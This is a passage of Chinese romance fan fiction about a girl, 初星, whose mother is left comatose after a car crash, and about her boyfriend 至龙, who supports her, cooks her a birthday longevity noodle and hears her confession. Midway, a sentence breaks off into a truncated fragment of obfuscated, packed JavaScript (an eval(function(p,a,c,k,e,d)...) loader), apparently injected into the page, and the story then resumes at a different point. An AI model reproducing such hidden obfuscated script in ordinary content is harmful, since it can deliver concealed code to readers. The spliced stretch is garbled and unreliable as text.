“初星?你刚才怎么没接我电话?我练习刚结束,今天结束得早一点,你那边复习得怎么样?要不要……”至龙的声音带着惯常的轻快和些许撒娇的意味,但话没说完就猛地顿住了,他察觉到电话那头无法掩饰的破碎抽泣声和急促的呼吸声。“初星?!!”他的声音立刻拔高,充满了惊惶和紧张,“你怎么了?你在哭?发生什么事了?!” “至……至龙……” 她哽咽着挤出声音,每一个字都带着颤抖的哭腔,“哦妈……我哦妈……出车祸了……在医院手术……医生说情况危急……我不知道……我好怕……至龙……我好怕……” 恐惧和无助让她语无伦次。 电话那头传来至龙倒吸一口冷气的声音,清晰得仿佛就在耳边。 “哪个医院?!!” 他的声音陡然变得极其冷静、果断,甚至带着一种近乎命令式的强硬,斩钉截铁,没有丝毫犹豫,“告诉我地址!现在!立刻!精确的名字!” 初星被他爆发出的、与平时截然不同的样子震慑住,抽噎着,努力清晰地报出了医院的名字。 “好!待在医院门口别动!就在门口等我!我马上过来!听着,初星,我马上就到!等着我!我很快就到!” 电话那头立刻传来他奔跑时急促的脚步声、沉重的呼吸声,以及他一边狂奔一边对旁边的人飞快地交代:“哥!永裴!我家里有急事!天大的事!必须先走!帮我跟老师请个假!就说对不起!” 接着是他快速而清晰地向司机报出医院地址的声音。 “初星?还在听吗?我上车了!大概二十分钟,不,可能更快就能到!” 他的声音带着剧烈的喘息,但极力压抑着,努力保持着最大程度的镇定,透过电流传来,不再是平时那种软糯的依赖和撒娇,而是变得低沉、稳定,充满了令人心安的力量,“别怕,我很快就到。伯母一定会没事的,她那么厉害。深呼吸,初星,试着深呼吸……跟我一起,吸气……呼气……” 初星紧紧握着手机,贴在耳边,听着电话那头他奔跑的动静、他急切的声音、他努力保持冷静的安抚,眼泪疯狂地流淌下来,浸湿了衣襟。这熟悉的声音,在此刻,成了她摇摇欲坠的世界里,唯一能抓住的依靠。 出租车停在医院急诊部门口,刺眼的红十字和“急诊”字样带来一种冰冷的压迫感。初星几乎是滚下车门,冲进灯火通明却弥漫着消毒水和焦虑气息的大厅。眼前是匆忙穿梭的白大褂、担架床轮子滚过的声音、家属焦急的询问和低泣……这一切混乱和焦虑冲击着她本就脆弱的神经,让她更加茫然无措,像一片孤零零的叶子在风暴中打转。 她孤立无援地站在原地,不知该往哪里去,熟悉的身影从门口方向狂奔而来!至龙额头上冒着细密的汗珠,外套的拉链只拉了一半,随着跑动敞开着,头发被风吹得凌乱,脸上写满了毫不掩饰的焦急和担忧,目光如同探照灯般迅速扫过大厅,锁定在那个瑟瑟发抖、脸色惨白的娇小身影。 “初星!”他冲到她的面前,双手用力地抓住她颤抖的肩膀,急切地在她脸上搜寻,“怎么样?有消息了吗?伯母进去多久了?” 初星看到他,像是终于找到了主心骨,泪水再次决堤,她摇了摇头,嘴唇翕动着,却发不出完整的声音,下意识地伸手紧紧抓住了他的外套衣襟,手指冰凉得如同冰块。 至龙反手将她冰冷的手紧紧攥在自己温热的掌心里,用力地揉搓着,另一只手则坚定地环过她的肩膀,将她整个人护在怀里,“走,我们去问护士台!别怕,跟我来!” 他搂着她,快步走向咨询台,得到指示后,紧紧牵着她的手,找到楼梯间,一步两个台阶地带着她上了三楼。 手术室外的走廊,灯光是那种毫无温度的白炽灯,将一切照得无所遁形。只有“手术中”三个字的指示灯,亮着刺目的红色光芒。至龙拉着初星在走廊边的塑料椅上坐下。他紧紧握着她的手,感受到那刺骨的冰凉和细微的颤抖,完全解开自己厚外套的拉链,将初星另一只冰冷的手直接贴在了自己只隔着一层薄薄棉质卫衣的、温热而坚实的心口上,同时用敞开的外套将两人靠在一起的手臂紧紧包裹住,用自己蓬勃的体温去温暖她。 “会没事的,初星,伯母一定会没事的。她那么坚强,一定会挺过来的。”他低声地、一遍又一遍地在她耳边重复着,“别怕,我在这里陪着你,一直陪着你。” 就在这时,一阵略显急促的高跟鞋脚步声由远及近。是初星的姑母,接到了初星父亲的越洋电话后,放下一切赶来了。 “娜比啊!”姑母看到初星失魂落魄的模样,快步走过来,心疼地将她揽入怀中,“哎一古,我们娜比吓坏了吧?别怕,别怕,姑母来了,姑母在这里。” 初星看到熟悉的亲人,情绪又一次失控,埋在姑母温暖而熟悉的怀抱里,放声痛哭起来,仿佛要将所有的恐惧和委屈都哭出来。姑母轻轻拍着她的背,连声安慰,然后看向一直紧握着初星另一只手、努力保持着镇定的至龙。 “你是娜比的同学吧?真是谢谢你,这么快赶过来陪着她。”姑母的语气充满了感激。 至龙连忙微微躬身,态度恭敬:“没关系,这是应该的。您别太担心,医生正在尽力。” 有了姑母在场,等待的煎熬似乎多了一个人可以分担,但气氛依然沉重得令人窒息,每一分每一秒都像是被无限拉长。不知过了多久,手术室上方那盏刺目的红灯,终于“啪”地一声熄灭了。 手术室的门被从里面推开。主刀医生穿着绿色的手术服,眼神中透着一丝如释重负。 三人围了上去,心都提到了嗓子眼。 “医生,我哦妈怎么样?”初星的声音抖得厉害,带着哭腔。 医生摘下口罩,“手术已经完成了,过程比较顺利。患者暂时脱离了生命危险。” “但是,”医生接下来的话,让他们刚放下的心又悬了起来,“患者的伤势很重,尤其是头部受到了比较严重的撞击,虽然目前生命体征稳定了下来,但脑部的情况还需要密切观察。接下来需要在ICU里观察几天。只要这几天平稳度过,没有出现严重的并发症或者颅内二次出血等情况,后续慢慢恢复的希望就很大。你们家属可以先稍微放宽心,但也不能大意,需要积极配合后续治疗。” 姑母连连向医生道谢,初星靠在至龙身上,浑身脱力,有些站不稳,但至少,那灭顶的恐惧暂时退潮了,取而代之的是一种疲惫至极后的虚软和一丝微弱的希望。 接下来的日子,对初星而言,是昏暗而漫长的。她寸步不离地守在医院。ICU有严格的探视时间,每天只有短暂的片刻可以进去看看母亲。大部分时候,她只能坐在外面冰冷的长椅上,看着医护人员忙碌地进出,听着仪器规律的滴答声,内心备受煎熬。至龙只要一结束公司严苛的练习,就会跑来医院陪她。他不再提自己练习的辛苦,也不再像以前那样撒娇缠人,只是安静地陪在她身边,给她带来热腾腾的饭菜和饮料,强迫她多少吃一点,在她累得撑不住时让她靠在自己肩膀上休息片刻,在她看着母亲毫无生气的脸忍不住掉眼泪时,紧紧握住她的手,无声地传递着力量。 几天后,初星的父亲处理好所有事情从国外风尘仆仆地赶了回来。当那个熟悉而高大的身影出现在医院走廊尽头时,初星强撑了许久的坚强再一次瓦解,她像一只受伤归巢的雏鸟,扑进父亲宽阔的怀抱里痛哭。父亲的归来,让家里的顶梁柱重新立了起来,也让初星有了一点可以真正依靠和喘息的感觉。 又过了几天,初星的母亲真的如医生所预期的那样,平稳度过了危险期,从ICU转入了设施完善的普通病房。所有人都松了一口气,以为最危险的关头已经过去。父亲忙着与院方深入沟通病情、安排最专业的看护团队,以确保妻子得到最细致周全的照顾。初星苍白的脸上也有了一点血色,偶尔翻一下被冷落的复习资料,试图在混乱失控的生活中,抓住一点熟悉的节奏,哪怕只是象征性的。 然而,在转入普通病房后,初星的母亲虽然生命体征各项指标平稳,外伤也在逐渐愈合,却一直没有苏醒的迹象。她安静地躺在病床上,依靠鼻饲维持着营养,像一个陷入沉睡的瓷娃娃。 医生安排了更详细的脑部检查和评估,表情再次变得凝重。他把初星父女叫到安静的医生办公室,沉重地告知了检查结果:“患者身体的外伤和内部损伤都在朝着好的方向恢复,但脑部因为撞击受到的损伤,其恢复情况……目前来看,不容乐观。从目前的各项神经反射指标和影像学结果来看,她可能陷入了持续性植物状态(PVS),也就是我们常说的……植物人状态。” “当然,”医生或许是不忍,又补充道,但依旧谨慎,“这并不是最终定论,医学上存在奇迹,也有苏醒的可能。但这需要时间,可能是非常漫长的时间,而且需要最专业、最积极的刺激与康复治疗。目前国内在这方面技术和资源相对有限。美国有一些顶尖的医疗机构和神经科学研究中心,在这方面有更多的临床经验和前沿方案,或许……可以去尝试咨询一下。” 就在这样的情况下,高考到了。 初星浑浑噩噩地被父亲推着走进了考场。她坐在冰冷的座位上,眼前是密密麻麻的试卷,脑子里却全是母亲沉睡的、苍白的容颜、医生沉重的话语、关于美国陌生医疗技术的纷乱思绪,以及父亲疲惫却强撑坚强的眼神。她努力地想集中精神,将那些公式、定理塞进脑子里,但效果甚微。笔下的字迹潦草而混乱,大片大片的空白像是她此刻内心的荒芜。当交卷铃声尖锐地响起时,她看着自己未能完成的试卷,心里一片冰凉。 成绩公布当天,在母亲弥漫着淡淡消毒水气味的病房里,阳光透过百叶窗的缝隙,在地板上投下斑驳的光影。初星看着电脑屏幕上那串数字,沉默着,脸上没有什么剧烈的表情波动,仿佛早已在心底接受了这个预料之中的结果,只是心口依然像是被什么东西死死堵住,闷得发慌,连呼吸都带着钝痛。 父亲看着 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父亲看穿了她的心思,用力握了握她的手,“但是,阿爸希望你留在国内。” 初星愣住了。 “不要忘了你自己的目标和理想,”父亲的声音清晰而有力,他指了指病房的窗户,仿佛指向窗外更广阔的世界和未来,“你忘了你说,要考上弘大,要学室内与空间设计吗?那是你的梦想,是你自己选择的道路。知道阿爸为什么给你取名‘初星’吗?黎明时最先出现的星星——寓意着开启光明的前程、拥有璀璨的未来。你不能因为家里出了事,就把自己的未来也完全搁置、放弃了。哦妈如果知道,也绝不会同意你这样做。” “哦妈这边,有阿爸在,你需要做的,是照顾好自己,重新振作起来,为你自己的未来努力。等哦妈醒了,她最想看到的是一个实现了梦想、闪闪发光的女儿,而不是一个为了陪在她身边而放弃了自己一切的初星。明白阿爸的意思吗?” 父亲目光深邃的看着初星。 “等去了美国之后,”父亲接着温和地说道,“你不用太担心那边,安顿下来后,我会经常给你打电话,你要专心做你自己的事,准备下一次考试。记得,多和朋友出去走走,放松放松心情,别总是一个人闷着,知道吗?爸爸希望你快乐、坚强地走下去。” 初星看着病床上母亲安睡的容颜,又看着父亲疲惫却充满鼓励和信任的眼神,泪水再次无声地滑落,她用力地点了点头,虽然还有些哽咽,却带着一丝坚定:“内,阿爸,我知道了。” 父亲欣慰地笑了笑,笑容里带着疲惫,却更多的是对女儿的信任,他轻轻拥抱了她:“好孩子。” 此时,至龙刚好来到病房外,手里还提着给初星带来的、她最近喜欢的热巧克力和起司蛋糕。他正准备敲门,却隐约听到了里面父女俩关于成绩和未来的对话。他停下了抬起的手,静静地站在门外,心中百感交集。他为初星母亲的状况和考试结果感到难过,也为她不必远赴异国他乡而暗自松了口气,但更多的是对初星父亲那深沉、理性而温暖的支持感到动容,以及对初星即将面临的复读压力、那份需要重新拾起的梦想的心疼和敬佩。他整理了一下表情,努力让自己的眼神看起来明亮、充满希望一些,随后轻轻敲了敲门。 “请进。”里面传来初星父亲温和的声音。 至龙推开门,看到初星正靠在父亲身边,眼睛还红红的,像只小兔子,但情绪似乎已经稳定了许多,不再是最初那种崩溃的状态。他举起手里的袋子,“伯父,初星。我带了点热巧克力和蛋糕,吃点甜食,心情可能会好一点。” 初星父亲看到至龙,脸上露出一丝温和而感激的笑意:“是至龙啊,谢谢你总是这么细心,想着娜比。快进来吧。” 初星抬起头,看到至龙,眼神闪烁了一下,有些不好意思地快速用手背擦了擦眼角。 至龙走过去,将东西轻轻放在床头柜上,真诚而坚定地对初星父亲说:“伯父,您放心吧。初星留在国内,我会照顾好她的。她想去图书馆复习,或者想出去散散心,我随时都有空陪她。绝对不会让她一个人闷着。” 初星父亲欣慰地点点头,看着眼前这个虽然年轻却眼神清澈坚定的男孩:“好,好。有你在,我也能更放心一些。娜比这孩子,有时候太要强,心思重,容易钻牛角尖,你多开导开导她,带她出去走走。” “阿爸……”初星小声嘟囔了一句,脸颊微红,有些不好意思在至龙面前被这样说。 “知道了,伯父。您放心,我会的。”至龙认真地答应下来。 又在病房里待了一会儿,陪初星父亲说了些话,主要是关于他去美国的大致行程安排和时间节点。看着时间差不多了,至龙站起身,礼貌地说:“伯父,您和初星肯定还有很多话要单独说,我先不打扰了。”他转向初星,声音放柔了许多,“初星,我就在外面等你,或者……你什么时候想回去了,发个信息给我,我送你回家。” 初星点了点头,轻声说:“好。” 至龙对着初星父亲微微躬身告别退出了病房,轻轻带上了门。他靠在病房外冰凉的墙壁上,静静地等待着。 病房内,初星父亲拉着女儿的手,又低声叮嘱了许多许多,从生活起居的细节到学习规划的调整,事无巨细,初星一一听着,不断地点头,将父亲的嘱咐牢牢记在心里。 过了好一会儿,初星才从病房里出来。她的眼眶比刚才更红了一些,显然又哭过。 看到倚在墙边安静等待的至龙,她愣了一下:“你……还没走?” “不是说好了等你吗?”至龙站直身体,走到她面前,“和叔叔都聊完了?” “嗯。”初星低低地应了一声,声音还有些沙哑。 “那……现在想回家?还是想去别的地方走走?”至龙看着她,小心地询问着她的意愿,观察着她的表情,“天气虽然冷,但空气还挺清爽的。或者,我们去吃点热乎乎、能让人暖和起来的东西?” 初星抬起头,看了看窗外灰蒙蒙的、似乎又要下雪的天空,又看了看身边眼神里满是关切的至龙,父亲的话似乎还在耳边回响。 她沉默了几秒,轻轻呼出一口气,仿佛要将胸中的闷气都呼出去,声音很轻,却带着一点尝试挣脱阴霾、主动走向阳光的努力:“……不想马上回家。房间里……有点闷。” 至龙的眼睛闪了一下,赶紧点头,“好!那就不回家!我知道附近有家小店的红豆年糕汤很好吃,热乎乎的,甜度刚好,离这儿也不远。要不要去试试?” 初星看着他脸上那因为她的应允而绽放的明亮笑容,和他那副充满期待的样子,心里像是有阳光照进了冰冷的角落。她点了点头,“好。” 至龙伸出手,紧紧地握住了她有些冰凉的手,将温暖源源不断地传递过去:“那走吧!我知道路!” 他牵着她,并肩走出医院大楼,走入凛冽却清新的空气中。他没有说太多安慰的空话,也没有追问她未来的计划和复读的压力,只是用他温热而有力的手掌紧紧包裹着她的,步伐坚定地走在前面,偶尔回头看她一眼,眼神明亮而温暖,充满了无声的鼓励和支持,仿佛在说:看,天还没塌,就算塌了,也有我跟你一起顶着。路还长,我们慢慢走。 42.泪水与温柔 医院里,时间以一种粘稠而缓慢的方式流逝,空气中永恒地弥漫着消毒水那冰冷而略带刺激性的气味,混合着一种沉重的静谧。初星的生活重心,早已完全围绕着这间病房。她每天都会准时到来,坐在母亲病床边的椅子上,握着那只因为缺乏活动而显得有些冰凉的手,絮絮叨叨地说着一些琐碎的日常,或者只是拿起一本杂志,轻声读着上面的新闻,更多的时候,只是安静地坐着,目光长久地停留在母亲沉睡的、恬静却毫无生气的面容上,贪婪地珍惜着这即将远行治疗前朝夕相处的宝贵时光。 初星父亲看着女儿日渐消瘦单薄的身影,看着她总是微微蹙着眉头的侧脸,看着她偶尔望向窗外时那空洞而疲惫的眼神,心疼得像被针扎一样。他自己也忙得脚不沾地,处理着出国治疗所需的各种繁琐至极的手续、文件、沟通,联系着大洋彼岸的医疗机构,一刻不得闲,身心俱疲。直到晚上,他疲惫地揉着太阳穴,眼睛无意间扫过病房墙上的日历,才猛地惊觉,明天就是初星的生日了! 他放下手中的文件,走到病床边,看着正低着头轻柔地用温毛巾为母亲擦拭着手臂的女儿,声音里充满了歉意,“娜比啊……” “嗯?阿爸,怎么了?”初星抬起头,眼下的淡青色阴影在冷白的灯光下更加明显。 他伸出手,慈爱地摸了摸女儿柔软的头发,“我们娜比……明天就过生日了啊。你看阿爸这记性,忙得晕头转向,差点就把这么重要的日子给忘了,真是……对不起我的宝贝。” 初星闻言,先是愣了一下,仿佛需要一点时间才能从眼前抽离出来,去思考“生日”这个本该充满欢庆意味的词语。随即,她勉强扯出一个极其浅淡的笑容,摇了摇头,“没关系的,阿爸。现在……现在哪还有心思过什么生日。” “不行,”父亲却陡然变得异常坚定起来,带着深藏的关爱,“生日怎么能不过。”他环顾了一下这间充斥着消毒水味道、冰冷仪器和白色床单的病房,眉头紧紧皱起,“虽然现在情况特殊,不能给你热热闹闹地庆祝,但也绝不能就在这医院里,伴着药水味耗着过。” 他站起身,拉着初星的手,让她也站起来,“听阿爸的话,今天早点回去,别熬着了,回家好好泡个热水澡,睡一觉。明天,”他看到初星嘴唇微动,似乎想反驳,不容分说地打断她,“明天放你一天假!不准再来医院了!” 他顿了顿,看着女儿困惑的眼神,继续用带着命令却充满关怀的口吻说:“明天,去找至龙那孩子,或者叫上珍雅,你们年轻人一起,出去好好吃顿饭,看场最近想看的电影,随便去哪里走走,放松一下心情。就算……就算是简单庆祝一下生日了。” “可是,哦妈她……”初星犹豫地看向病床,眼神里全是不放心。 “这里有我,还有二十四小时轮班的专业看护人员,你不用担心这一天。你哦妈要是清醒着,知道的话,也绝不会愿意你在病房里、愁眉苦脸地过这个生日的。去吧,听话,出去走走,哪怕只是呼吸一下外面的空气,让自己开心一点点,就算是为了让阿爸和哦妈能放心一点,好不好?”他的目光里充满了殷切的期盼和恳求。 初星看着父亲那双因为连日操劳而布满血丝、却依旧努力对她绽放出温暖和鼓励的眼睛,看着他眼角新添的细纹和鬓角隐约可见的几根白发,轻轻点了点头,声音低低地应道:“……内,我知道了,阿爸。” “这才对嘛。”父亲脸上露出了一个如释重负的欣慰笑容,他又轻轻抱了抱女儿单薄的肩膀,“提前祝我的宝贝生日快乐,回去路上小心,到家给阿爸发个信息。” …… 初星回到那个因为父母都不在而显得格外空旷的家中时,墙上的时钟指针悄无声息地逼近了晚上十一点。她没有开灯,任由自己像一片失去重量的羽毛般,陷进客厅的沙发里。黑暗中,只有窗外远处零星的路灯光线,顽强地穿透玻璃,在冰冷的地板上投下几块模糊而黯淡的光斑,勾勒出房间里家具沉默的轮廓。 一片死寂中,手机屏幕突然亮起,幽蓝的光刺破了黑暗。是至龙发来的信息:「回家了吗?今天怎么样?伯母情况还好吗?」她勉强打起一点精神,手指在冰冷的屏幕上敲下回复:「刚到家。还好。」按下发送键后,她便像是耗尽了最后一丝力气,将手机随手扔在沙发角落,整个人更深地蜷缩起来,空洞地望着前方虚无的黑暗,脑子里一片空白,却又被一种无形而沉重的疲惫感填满,压得她几乎喘不过气。 在这万籁俱寂、思绪仿佛也要凝固的时刻,一阵轻微的、却在这种极致的安静中显得格外清晰和突兀的敲门声,突然响了起来。咚、咚、咚。声音很轻,带着一种小心翼翼的感觉,仿佛怕惊扰了什么。 初星吓了一跳,心脏像是被一只无形的手猛地攥紧,骤然缩成一团。这么晚了,会是谁?父母都有钥匙,邻居也从不在这个时间点来访……恐惧悄然爬上心头。她有些害怕地坐直身体,警惕地望向那扇紧闭的防盗门,屏住呼吸,没有立刻回应。 “初星?初星啊?你在里面吗?睡了吗?” 门外传来的是至龙压低了的、带着明显急切和无比熟悉气息的嗓音! 悬到嗓子眼的心落回了原地,她赶紧起身,摸索着走到门口,透过猫眼确认了一下,随后飞快地打开了门。 门一开,楼道里略显昏暗的光线立刻涌了进来,勾勒出至龙站在门外的身影。他微微喘着气,额前的碎发有些凌乱,鼻尖和耳朵都被冬夜的寒风吹得泛着明显的红晕,脸上却带着一种抑制不住的笑意。更让她感到奇怪的是,他的一只手紧紧地背在身后,胳膊的姿势有些别扭。 “你怎么……”初星惊讶的话还没问出口,至龙就像一只灵活而急切的边牧,笑着侧身从门缝里挤了进来,同时迅速地伸出一只温热的手掌,准确地捂住了她的眼睛。 “呀!权至龙!你干嘛呀!放手!” 眼前陷入一片温暖的黑暗,初星惊呼出声,伸手想去扒开他覆在自己眼睑上的手。 “别动!别动!乖乖的!跟着我走!不许偷看!这是惊喜!” 至龙小心地揽着她的肩膀,半推半扶地带着她慢慢往黑漆漆的客厅里走,“步子小点,对,直走……好,停,慢慢转身,坐下。” 初星被他这般不由分说地“操控”着,心里又是好笑又是无奈,更多的是被勾起了强烈的好奇心。她顺从地跟着他的引导,懵懵懂懂地坐回了沙发上。耳边传来他窸窸窣窣的、似乎在摆放什么东西的细微响动,紧接着,是一声清脆的“咔哒”声。 “到底在搞什么鬼……”她忍不住低声嘟囔,心脏却因为这份未知的期待而悄悄加速跳动起来。 “好了!现在——可以睁开眼睛了!” 至龙的声音在她耳边响起,覆在她眼睛上的手掌也慢慢移开。 初星先是适应了一下突然涌入的光线,随后缓缓地睁开眼睛。 映入眼帘的景象,让她瞬间怔住了。 昏暗的客厅里,唯一的光源来自她面前的茶几——一个精致小巧的点缀着几颗新鲜草莓的生日蛋糕,正静静地立在那里。蛋糕上,插着代表她年龄的数字蜡烛,温暖的火苗安静地跳跃着,驱散了一小片黑暗,也将至龙的脸庞映照得格外清晰。他的眼睛里面写满了毫不掩饰的期待、浓烈的爱意和紧张。蛋糕旁边,还放着用精心包装好的小礼物盒。 然而,惊喜还未结束。 在初星还沉浸在蛋糕和烛光带来的温暖冲击中时,至龙又像变戏法似的,从旁边拿起一个双层饭盒。打开盖子,食物温热的气息微微散开,然后,他从里面端出了一碗还冒着丝丝热气的面条,最上面,端端正正地摊着一个荷包蛋。 他抬起头,看向初星,脸上露出一个有些不好意思的羞涩笑容,“还有这个……我,我之前听你偶然提起过,说你每年生日,伯母……不管多忙,都会雷打不动地给你下一碗长寿面,说吃了能健康平安。” 他顿了顿,眼神里充满了认真和虔诚,“今年……今年伯母没办法给你做了……”他的声音低了下去,带着一丝心疼,但随即又扬起,目光灼灼地看着她,“就……就让我来。可能……味道远远比不上伯母做的,样子也可能不太好看……我……我其实偷偷试了好几次,这……这碗是我觉得煎蛋形状最好、汤也没洒出来的一次了……” 语气里带着一种努力想要做到最好却仍怕不够完美的忐忑。 他说着,伸手将那碗面轻轻地往前推到了初星面前。在他抬手推碗的那个瞬间,借着跳跃的烛光,初星看到他那只漂亮得足以握住麦克风、在舞台上做出各种精准而有力舞蹈动作的右手手背上,赫然有着两三处明显的红痕,边缘微微泛着肿,一看就是被热油溅伤后留下的印记!而当他更近地放下那碗面时,她又看到他端着碗边缘的几根手指指腹,也有些发红,显然也是烫到的痕迹。 所有精心策划的午夜惊喜,眼前这跳跃着生命之火的温暖烛光,以及这碗可能并不完美、却倾注了他全部心意、甚至带着他“伤痕”的长寿面……这一切,像是最温柔却也最具有摧毁力量的海啸,彻底冲垮了初星连日来用尽全部力气筑起的所有心防和故作坚强! 眼泪决堤般地汹涌而出!像是压抑了太久的恐惧、委屈、无助和感动,终于找到了一个绝对安全、绝对温暖的宣泄口!她没有去接那碗面,也没有去看那个精致的蛋糕,而是伸出手,紧紧地、紧紧地抱住了至龙,用尽了全身的力气,她把脸深深埋进他带着室外寒气和淡淡洗衣液味道的胸膛,肩膀因为无法抑制的哭泣而剧烈地颤抖起来,发出小动物般的、破碎的呜咽声。 “谢谢你……至龙……真的……谢谢你……”她哽咽着,声音闷在他的衣服布料里,模糊不清,却带着卸下所有伪装后的、最真实的脆弱和后怕,“我这段时间……真的好害怕……好害怕啊……” 她将深埋心底、连对父亲都未曾完全袒露的最深层的恐惧,带着哭腔断断续续地说了出来:“我害怕……阿爸哦妈都走了……去那么远的地方……就剩下我一个人在国内……我害怕……我照顾不好自己……我更害怕……害怕哦妈……哦妈她再也……再也醒不过来了……要是那样……要是那样的话……这世界上……就少了一个……叫我‘娜比’的人了……呜……” 最后那个称呼,她带着泣音说出,充满了孩子般的依赖和失去的恐惧。 至龙被她这突如其来的、彻底的情绪崩溃和深深的拥抱弄得心都要碎了,像是被一只无形的手紧紧揪住,酸涩难当。他立刻用尽全力地回抱住她,一只手紧紧环住她单薄而颤抖的背脊,另一只手温柔地、一遍又一遍地、充满安抚意味地抚摸着她的后脑和头发,下巴轻轻抵着她的发顶,感受着她的泪水迅速浸湿自己胸前的衣料。 他的声音低沉而沙哑,在她耳边轻轻响起,每一个字都像是承诺:“不会的……不会那样的……初星啊,别怕,没事的,一切都会好起来的,我向你保证。” 他稍微松开一点怀抱,双手捧起她泪流满面、哭得通红的的小脸,用指腹小心地擦去她不断滚落的泪珠,注视着她那双被泪水洗刷得格外清澈、却也盛满了惊惶的眼睛,无比认真、一字一句地说:“听着,叫你‘娜比’的人,一个都不会少。伯母会好起来的,她一定会听到你的呼唤。” 他顿了顿,眼神温柔得仿佛能滴出水来,声音轻得如同耳语,却带着重于千钧的郑重:“而且,从今以后,还会多一个我。娜比…” 他第一次以男朋友的身份清晰而自然地,叫出了这个对她而言意义特殊的昵称。 在他还想继续用言语安抚她时,眼角的余光敏锐地瞥见了墙壁上那个静默的挂钟——时针和分针即将完美地重合,距离午夜1 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她看着近在咫尺的至龙,声音很轻,却像最坚硬的钻石划过玻璃,清晰而郑重地刻入空气,也刻入彼此的心底:“至龙……我喜欢你。” 这句直接、坦率而真挚的告白,让至龙的心跳骤然漏了一拍,随即开始疯狂地擂动。 她的指尖轻轻点触着手链上那冰凉的星星和蝴蝶吊坠,说得无比清晰和郑重: “星星和蝴蝶都是我。” “但我是你的。” 至龙听到这直接而充满绝对归属性的告白当下只觉得全身的血液都沸腾起来。 下一秒,汹涌澎湃的情感冲垮了他所有的克制和羞涩! 他没有任何停顿地、带着一种近乎野蛮的力道,猛地伸出手,一把揽过初星纤细的腰肢,将她狠狠地带向自己,低头狠狠地、贪婪地吻了上去! 这个吻不再是刚才初星那样轻柔的触碰,而是充满了爆发力甚至带着点失控的侵略性和占有欲,似乎要借此将内心翻江倒海般的狂喜、激动和那份“她是我的”的强烈宣告,全都传递给她!他吻得那么深,那么用力,舌尖带着不容拒绝的强势,吮吸着她的唇瓣,纠缠着她的呼吸,仿佛要将她整个人都吞噬进去,融为一体。 初星被他这突如其来的冲击得微微向后仰了一下,但立刻就被他更紧地箍住腰身,动弹不得。她闭上眼睛,长睫轻颤,感受着他炽热得烫人的体温和微微颤抖的身体,生涩却又全心全意地回应着这个令人窒息的吻。空气中只剩下彼此急促的呼吸声和心跳如鼓的轰鸣。 直到两人都快要缺氧,至龙才喘息着、不情愿地松开了她,但额头依旧紧紧抵着她的额头,呼吸灼热而急促,喷在她的鼻尖。他的眼睛里像是燃烧着两簇幽暗的火焰,亮得吓人,里面充满了未褪的激情和近乎偏执的占有欲。他的声音沙哑得厉害,带着前所未有的霸道和彻底确认的急切: “你当然是我的……永远都是……我也是你的……从里到外,从身到心……全部都是……我的星星,我的蝴蝶,我的初星,我的娜比……”他语无伦次地重复着这些带着强烈归属感的词语,每一个字都裹挟着滚烫的温度和浓烈的情感,仿佛要通过语言再次将她牢牢刻上自己的印记。 两人静静相拥,在昏暗的光线里,平复着剧烈的心跳和激荡的情绪。 过了好一会儿,至龙才从那种极致的情绪巅峰回过神来,有些不好意思地松开她一点点,但眼神依旧黏在她身上一样,献宝似的重新端起那碗因为方才的“动荡”而洒出一点汤、此刻已经有些温凉的长寿面,“快,趁还有点温乎,尝尝看!虽然……可能真的有点凉了,但是味道……味道应该……还行?” 初星接过他递来的筷子,夹起几根已经有些软塌的面条送入口中。 至龙紧张地盯着她的每一个细微表情,连珠炮似的问,像个等待老师点评作业的学生:“怎么样?味道怎么样?咸不咸?淡不淡?汤是不是有点油了?蛋……蛋是不是有点煎老了?边有点硬了吧?” 面条入口的瞬间,一股明显过咸、有点发苦的味道占据了味蕾,荷包蛋的边缘也确实煎得有些过头,带着焦脆的硬边。但是,看着至龙那双写满了“快夸我”和“千万不要难吃”的、几乎要屏住呼吸的紧张眼睛,想到他手背上那几点刺眼的红痕和微微发红的手指…… 初星认真地咀嚼了几下,像在品尝什么绝世美味,抬起脸,对着他露出了一个灿烂得有些夸张的感动笑容: “嗯!好吃!” 她还用力地点了点头,加强语气,“真的!是我吃过最好吃、最特别的长寿面!有……有家的味道!” 至龙似乎有点不敢相信,随即开心得差点要跳起来,“真的吗?!哇!太好了!我就说这次肯定能成功!我练习的时候就觉得这次肯定对了!你快多吃点!都吃完!一定要吃完才长命百岁!” 初星看着他傻乎乎的开心样子,心里软得一塌糊涂,低下头,忍着那确实不算美好的咸味和焦硬感,把整碗面,连同那个边缘焦脆的荷包蛋,以及碗底那略咸的汤,都吃得干干净净,一滴不剩。 这大概是她吃过最咸、最难以下咽的一碗面了。 但毫无疑问,这也是她吃过最甜、最温暖、最幸福、承载了最厚重心意的一碗面。 43.平静的日常 距离那场颠覆初星整个世界的事故和随之而来的高考失利,已经悄然过去了近半年。冬日的严寒早已褪去,首尔的街头巷尾被初夏的绿意和逐渐升温的阳光所覆盖,空气中弥漫着一种万物复苏的、略带潮湿的生机。 初星大部分时间都待在家中,曾经堆满习题册和参考书的书桌依然拥挤,但比起去年冲刺时那种近乎疯狂的、压得人喘不过气的状态,如今更多了一份沉稳和条理。她为自己制定了详细的学习计划,每天按部就班地复习、做题、总结,为年底的第二次高考做着无声却坚定的准备。窗外的阳光透过干净的玻璃窗洒在书页上,留下明亮的光斑,空气中只有笔尖划过纸张的沙沙声和偶尔翻动书页的轻响,宁静得仿佛能听到时间流淌的声音。 每天,她最期待也最忐忑的时刻,就是守在电脑前或紧握手机,等待父亲从遥远的美国,发来的关于母亲病情的最新消息。由于时差关系,这些消息通常在首尔的清晨或深夜抵达。 「娜比,今天尝试了一种新的神经刺激疗法,医生的反馈很谨慎,但我觉得你哦妈的无名指似乎轻微地动了一下,也许是我们的错觉,但总归是一线微弱的希望。勿过于挂念,专心你的功课。」——这样的消息能让她一整天的心都悬着,指尖反复摩挲着屏幕上的那几个字,似乎能从中触摸到那份渺茫却珍贵的“可能”。 更多的时候,消息是:「一切平稳,没有明显变化。医生说康复是场持久战,需要极大的耐心和信念。勿念,照顾好自己,专心学习。」——每次看到“平稳”二字,她会在心底悄悄松一口气,至少没有更糟,但随之而来的,是挥之不去的失落和无力感,像潮水般轻轻漫过心岸。她总是捧着手机反复阅读,试图从字缝里读出更多父亲未言明的情绪和母亲真实的状况。 